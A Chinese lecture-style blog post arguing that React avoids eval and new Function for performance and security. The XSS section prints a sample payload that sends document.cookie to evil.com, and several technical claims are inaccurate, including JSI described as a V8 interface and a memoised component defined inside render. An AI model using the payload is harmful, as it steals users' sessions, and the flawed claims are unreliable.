各位好，欢迎来到今天的讲座。今天我们不聊怎么写漂亮的 UI，也不聊怎么把 CSS 写进 JS 里，我们聊点更“硬核”的——代码的“去动态化”。
想象一下，你是一名赛车手。你的引擎是 V8 引擎，你的轮胎是顶级超跑用的。然后，你在比赛过程中，突然把引擎盖打开，往气缸里扔了一块生肉。结果会怎样？引擎会罢工，转速直接掉到 10，然后你被后面的一辆五菱宏光超了。
在 React 的世界里，eval() 和 new Function() 就是那块生肉。在高频渲染链路中，它们是性能的杀手，是安全的黑洞。
今天，我们就来扒一扒 React 内部是如何“拒绝动态”，通过一系列骚操作，让代码跑得像 9600 转的引擎一样丝滑且安全。
第一部分：为什么动态代码执行是 React 的噩梦？
首先，我们得聊聊 JavaScript 引擎这个“黑盒”。现在最主流的是 V8（Chrome 和 Node.js 的亲儿子）。
V8 引擎的工作流程是这样的：
- 解释器：把代码读进去，一行一行翻译成机器指令，跑得快，但慢。
- 优化编译器：它很懒，它觉得“哎，这段代码跑得挺频繁，我给它编译成超级优化版吧，直接生成汇编代码”。
关键来了： 优化编译器有个致命的弱点——它讨厌不确定性。如果它发现代码里用了 eval 或者 new Function，它会立刻停止优化，把那块代码扔回解释器里去跑。
在 React 的世界里，渲染是高频的。每次组件更新，可能都要触发成千上万次函数调用。如果你在渲染链路里用了 eval，V8 引擎会说：“嘿，这代码不纯，我不优化！”
后果是什么？
你的组件渲染从 10ms 变成了 50ms，动画卡顿，用户开始怀疑人生。而且，由于 eval 会污染作用域链，它还会导致内存泄漏，让垃圾回收器（GC）哭晕在厕所。
代码示例（反面教材）：
// 这是一个典型的“自残”写法
function MyComponent({ code }) {
// 在渲染函数里用 eval？你是嫌 V8 优化不够彻底吗？
// 每次渲染都要重新解析字符串，还要重新编译，CPU 累不累？
const handler = new Function('event', code);
return (
<button onClick={handler}>
点击我，V8 引擎会哭的
</button>
);
}React 的设计哲学是“声明式”。声明式意味着：给状态，给数据，剩下的交给框架。 框架不应该去猜测“用户现在想干什么”，而是根据当前的数据状态计算出“用户现在应该看到什么”。
第二部分：事件委托——化繁为简的“懒人”智慧
既然不能动态生成监听器，那 React 怎么处理成百上千个按钮的点击事件？
React 用的不是“给每个按钮加监听器”，而是事件委托。
你想想，如果你有 1000 个列表项，你给每个列表项都挂一个 addEventListener，内存瞬间爆炸，DOM 节点臃肿不堪。React 呢？它只会在根节点（比如 div 或 root）上挂一个监听器。
React 内部是怎么做的？
当你写 <button onClick={handleClick}> 时，React 并没有真正去挂载这个事件。它只是在渲染阶段，把你的 handleClick 函数名和事件类型记录下来。
当事件真正触发时，React 的合成事件系统会拦截这个事件，然后根据 event.target，一层层往上找，直到找到绑定了这个事件的最内层组件。
核心逻辑（伪代码）：
// React 内部的大致逻辑（极度简化）
function dispatchEvent(event) {
// 找到触发事件的目标组件
const targetComponent = findTargetComponent(event.target);
// 找到绑定的 props
const props = targetComponent.props;
// 调用事件处理函数
if (props.onClick) {
// 关键点：React 会自动把 SyntheticEvent 传进去
props.onClick(event);
}
}这种机制不仅省内存，还解决了动态绑定的问题。因为你不需要在运行时动态创建函数，你只需要在渲染时提供函数引用。
第三部分：useCallback 与 useMemo——给函数“上锁”
既然要规避动态化，React 提供了两个利器：useCallback 和 useMemo。
很多新手觉得这两个 Hook 是“锦上添花”，其实它们是 React 优化性能的基石。useCallback 本质上就是固定函数引用。
在高频渲染链路中，如果父组件每次渲染都创建一个新的函数传给子组件，子组件的 React.memo 就会失效，导致不必要的重渲染。
代码示例（正常流）：
function Parent() {
const [count, setCount] = useState(0);
// 没用 useCallback，每次渲染都会生成一个新的函数引用
// 这就是“动态”的副作用
const handleClick = () => {
console.log('clicked', count);
};
return (
<div>
<button onClick={() => setCount(c => c + 1)}>增加</button>
{/* 传递给子组件 */}
<Child onClick={handleClick} />
</div>
);
}
// 子组件
const Child = React.memo(({ onClick }) => {
console.log('Child rendered');
return <button onClick={onClick}>我是子组件</button>;
});优化后（静态流）：
function Parent() {
const [count, setCount] = useState(0);
// 使用 useCallback，告诉 React：“这个函数的内容虽然不变，
// 但如果依赖项变了，你就给我换一个新的。如果没变，别换！”
const handleClick = useCallback(() => {
console.log('clicked', count);
}, [count]); // 依赖项是 count
return (
<div>
<button onClick={() => setCount(c => c + 1)}>增加</button>
<Child onClick={handleClick} />
</div>
);
}通过 useCallback，React 确保了在 count 不变的情况下，handleClick 的引用是不变的。这就让 React.memo 能够精准地判断：“嘿，这个子组件的 props 没变，我不渲染它了。”
这就是去动态化的精髓：在运行时，尽量让函数引用保持稳定，不要让引擎觉得代码在时刻变化。
第四部分：Fiber 架构与可预测性——React 的心脏跳动
React 16 引入了 Fiber 架构。为什么需要 Fiber？因为我们需要“可中断”的渲染。
想象一下，如果渲染一个复杂的页面需要 100ms，在 JS 主线程里，这 100ms 期间页面是卡死的，用户动不了鼠标。
Fiber 的核心思想是：把渲染任务切成无数个小块。
如果任务切分得足够细，React 可以在每一帧（约 16ms）里只做一点点工作，然后暂停，把控制权交给浏览器渲染页面，等浏览器空闲了再回来继续渲染。
这里为什么不能用 eval 或动态 new Function？
因为动态代码执行是不确定的。React 不知道执行一行 eval 代码需要多久。如果它把任务切分好了，结果跑到一半，执行了动态代码，突然耗时 500ms，那整个调度机制就崩了。
React 需要的是确定性。它知道调用一个纯函数大概耗时 0.1ms。这种确定性保证了任务切分的准确性，从而保证了高帧率。
Fiber 的渲染流程：
- 调度阶段：计算需要渲染什么（Diff 算法）。这里不执行副作用，只计算。
- 提交阶段：把计算结果应用到 DOM。这里执行副作用。
这个流程是线性的、静态的。任何动态代码执行都会破坏这个线性流程。
第五部分：JSI 与 Native Modules——终极的“去动态化”
我们再往深处挖一点。在 React Native 中，JavaScript 和原生代码（iOS 的 Swift/Obj-C，Android 的 Java/Kotlin）是如何通信的？
如果用传统的 WebView.evaluateJavascript，那性能简直是灾难。因为 JS 和 Native 之间有桥接层，数据需要序列化、反序列化，还要通过字符串传递。
React Native 采用了 JSI (JavaScript Interface)。
JSI 是 V8 引擎提供的原生接口，允许 C++ 直接操作 JavaScript 的对象和函数。它把 JavaScript 变成了一种“一等公民”，可以直接在内存中操作。
这是什么概念？
这就好比，以前你要跟隔壁房间的人说话，你得先大声喊话（序列化），他听到了再回话（反序列化）。
现在 JSI 是直接在他的脑子里说话（内存指针直接操作）。
代码示例（Native Side 概念）：
// 这是一个极其简化的 C++ 代码（React Native 内部实现）
// 我们直接把 JS 函数指针传给 Native，不需要任何序列化！
// 1. 获取 JS 上下文
auto global = env->Global();
// 2. 获取我们定义的函数 'onMessage'
auto fn = global.GetPropertyAsFunction(env, "onMessage");
// 3. 直接调用！
// 注意，这里没有 eval，没有字符串拼接，没有安全检查（因为是在内部）
fn.Call(env, { args... });在 React Native 的渲染链路中，比如滚动列表，每一帧都需要从 Native 传回很多数据给 JS。JSI 让这种通信变成了零拷贝或者极低开销的内存操作。
这就是极致的“去动态化”。Native 代码不知道 JS 代码的具体逻辑，它只知道“嘿，这个函数在这儿，我调用一下”。它不解析代码，它只执行指令。
第六部分：安全性与沙箱机制
最后，我们聊聊安全。
在 Web 开发中，eval 和 new Function 是 XSS（跨站脚本攻击）的重灾区。
场景模拟：
假设你在一个 React 应用里，写了一个类似这样的动态代码生成器：
function createSafeFunction(code) {
// 你以为加了 try-catch 就安全了？天真！
return new Function(code);
}
// 用户输入
const maliciousCode = "fetch('https://evil.com/steal?data=' + document.cookie)";
// 运行
const fn = createSafeFunction(maliciousCode);
fn();这行得通。这会直接窃取用户的 Cookie。
但是，在 React 内部，这种动态化是不存在的。
- React 的组件定义是静态的。在构建阶段（Webpack/Rspack），组件就被编译成了普通的 JS 模块。
- 事件处理器的生成是受控的。React 在编译 JSX 时，就已经确定了事件绑定的逻辑。
- React 的 DOM Diff 算法。React 不会去解析 DOM 节点里的 HTML 字符串来决定怎么渲染，它只比较 Virtual DOM 树的结构。
React 像一个严格的管家。它只负责把数据从 A 搬到 B，不会让你在搬运过程中偷偷往箱子里塞私货（恶意代码）。
沙箱机制：
在服务端渲染（SSR）或者某些特定的隔离环境中，React 会配合 Babel 的转译，把动态代码限制在特定的作用域内。但即使在客户端，React 内部也绝不会使用 eval 来处理组件逻辑。
第七部分：实战演练——从“动态”到“静态”的改造
让我们看一个实际的高频渲染场景：虚拟列表。
如果你用原生 JS 手写一个虚拟列表，你可能会用 document.createElement 配合字符串拼接来生成列表项。这在每秒渲染 60 帧时，会导致严重的重排和重绘。
错误做法：
// 错误！这是在 DOM 层面搞动态拼接
function renderList() {
const list = document.getElementById('list');
list.innerHTML = ''; // 清空
items.forEach(item => {
// 动态创建元素
const el = document.createElement('div');
el.innerHTML = `<div>${item.name}</div>`;
list.appendChild(el);
});
}React 做法与优化：
React 使用 Fiber 架构进行 Diff。它会复用已经存在的 DOM 节点。
function VirtualList({ items }) {
const listRef = useRef(null);
// 我们使用 React.memo 来缓存列表项组件
const Item = React.memo(({ item }) => {
// 这里是纯函数渲染
return <div className="item">{item.name}</div>;
});
return (
<div ref={listRef}>
{items.map(item => (
// key 是必须的，它帮助 React 去动态化地识别元素
<Item key={item.id} item={item} />
))}
</div>
);
}为什么这样做更安全、更快？
- Key 的作用：
key帮助 React 建立了一个索引映射。React 不需要去猜测“这个 div 是不是新的”，它只需要看key。如果key存在，它就复用；如果不存在，它就创建。这种映射关系是静态的，不需要运行时计算。 - Fiber 的 Diff 算法：React 比较的是 Virtual DOM 对象。对象比较是 O(1) 的引用比较，而不是字符串匹配。
总结：静态的优雅
在 React 的高频渲染链路中，动态化是敌人。
- 性能敌人：
eval和new Function让 V8 优化失效，导致 CPU 浪费在解释执行上。 - 安全敌人：它们打破了沙箱，让 XSS 攻击变得轻而易举。
- 架构敌人：它们破坏了 Fiber 架构的可预测性和可中断性。
React 内部的“去动态化”策略，本质上是利用静态编译（AOT）和运行时引用绑定，来换取极致的性能和安全性。
它告诉我们一个道理：真正的强大不是千变万化，而是稳如泰山。 就像一位武林高手，他的剑招看似简单，甚至几十年不变，但每一招都直指要害，快如闪电。
所以，下次当你手痒想写 new Function 的时候，请想一想 V8 引擎里那个正在哭泣的优化编译器，然后乖乖地写一个 useCallback 吧。